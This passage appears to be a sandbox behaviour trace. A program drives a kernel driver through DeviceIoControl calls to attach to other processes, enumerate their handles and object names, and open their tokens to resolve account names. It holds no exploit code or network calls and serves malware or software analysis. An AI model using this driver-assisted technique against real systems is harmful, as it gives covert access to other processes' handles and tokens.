KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880050005d0) [0133.004] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020dd640, HandleInformation=0x0) returned 0x0 [0133.004] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.004] PsReleaseProcessExitSynchronization () returned 0x2 [0133.005] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0133.005] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.005] ObfDereferenceObject (Object=0xfffffa80020dd640) returned 0x1 [0133.005] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.005] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.005] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.005] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.005] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.005] PsAcquireProcessExitSynchronization () returned 0x0 [0133.005] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880050005d0) [0133.005] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.005] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.005] PsReleaseProcessExitSynchronization () returned 0x2 [0133.005] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0133.005] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0133.005] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.005] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.005] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.005] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x990) returned 0xc0 [0133.005] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.005] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800208db30, HandleInformation=0x0) returned 0x0 [0133.005] ObOpenObjectByPointer (in: Object=0xfffffa800208db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.005] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x12 [0133.005] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0133.005] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.005] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.005] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.006] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.007] CloseHandle (hObject=0xc8) returned 1 [0133.007] CloseHandle (hObject=0xc0) returned 1 [0133.007] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.007] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.007] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.007] PsAcquireProcessExitSynchronization () returned 0x0 [0133.007] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880050005d0) [0133.007] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fce180, HandleInformation=0x0) returned 0x0 [0133.007] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.007] PsReleaseProcessExitSynchronization () returned 0x2 [0133.007] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0133.007] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.007] ObfDereferenceObject (Object=0xfffffa8001fce180) returned 0x1 [0133.007] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.008] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.008] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.008] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0133.008] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.008] PsAcquireProcessExitSynchronization () returned 0x0 [0133.008] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880050005d0) [0133.008] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800208d070, HandleInformation=0x0) returned 0x0 [0133.008] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.008] PsReleaseProcessExitSynchronization () returned 0x2 [0133.008] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0133.008] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.008] ObfDereferenceObject (Object=0xfffffa800208d070) returned 0x1 [0133.008] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.008] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.008] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.008] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.008] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.008] PsAcquireProcessExitSynchronization () returned 0x0 [0133.008] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880050005d0) [0133.008] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.008] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.008] PsReleaseProcessExitSynchronization () returned 0x2 [0133.008] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0133.008] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.008] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.008] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.008] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.008] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9a0) returned 0xc0 [0133.008] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.008] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020222d0, HandleInformation=0x0) returned 0x0 [0133.008] ObOpenObjectByPointer (in: Object=0xfffffa80020222d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.008] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x12 [0133.008] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0133.009] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.009] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.009] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.009] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.010] CloseHandle (hObject=0xc8) returned 1 [0133.010] CloseHandle (hObject=0xc0) returned 1 [0133.010] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.010] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.010] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.010] PsAcquireProcessExitSynchronization () returned 0x0 [0133.010] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880050005d0) [0133.010] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002022c00, HandleInformation=0x0) returned 0x0 [0133.010] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.010] PsReleaseProcessExitSynchronization () returned 0x2 [0133.010] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0133.010] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.010] ObfDereferenceObject (Object=0xfffffa8002022c00) returned 0x1 [0133.010] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.010] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.011] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.011] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0133.011] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.011] PsAcquireProcessExitSynchronization () returned 0x0 [0133.011] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880050005d0) [0133.011] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800202d760, HandleInformation=0x0) returned 0x0 [0133.011] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.011] PsReleaseProcessExitSynchronization () returned 0x2 [0133.011] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0133.011] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.011] ObfDereferenceObject (Object=0xfffffa800202d760) returned 0x1 [0133.011] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.011] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.011] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.011] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.011] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.011] PsAcquireProcessExitSynchronization () returned 0x0 [0133.011] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880050005d0) [0133.011] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.011] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.011] PsReleaseProcessExitSynchronization () returned 0x2 [0133.011] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0133.011] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.011] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.011] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.011] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.011] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9b0) returned 0xc0 [0133.011] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.011] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002049740, HandleInformation=0x0) returned 0x0 [0133.011] ObOpenObjectByPointer (in: Object=0xfffffa8002049740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.011] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x12 [0133.012] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0133.012] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.012] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.012] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.012] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.013] CloseHandle (hObject=0xc8) returned 1 [0133.013] CloseHandle (hObject=0xc0) returned 1 [0133.013] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.013] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.013] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.013] PsAcquireProcessExitSynchronization () returned 0x0 [0133.013] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880050005d0) [0133.013] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002056980, HandleInformation=0x0) returned 0x0 [0133.013] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.013] PsReleaseProcessExitSynchronization () returned 0x2 [0133.013] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0133.013] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.014] ObfDereferenceObject (Object=0xfffffa8002056980) returned 0x1 [0133.014] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.014] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.014] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.014] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0133.014] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.014] PsAcquireProcessExitSynchronization () returned 0x0 [0133.014] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880050005d0) [0133.014] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002056830, HandleInformation=0x0) returned 0x0 [0133.014] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.014] PsReleaseProcessExitSynchronization () returned 0x2 [0133.014] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0133.014] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.014] ObfDereferenceObject (Object=0xfffffa8002056830) returned 0x1 [0133.014] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.014] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.014] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.014] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.014] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.014] PsAcquireProcessExitSynchronization () returned 0x0 [0133.014] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880050005d0) [0133.014] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.014] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.014] PsReleaseProcessExitSynchronization () returned 0x2 [0133.014] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0133.014] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.014] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.014] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.014] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.014] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9c0) returned 0xc0 [0133.014] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.015] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020974e0, HandleInformation=0x0) returned 0x0 [0133.015] ObOpenObjectByPointer (in: Object=0xfffffa80020974e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.015] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x12 [0133.015] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0133.015] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.015] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.015] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.015] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, 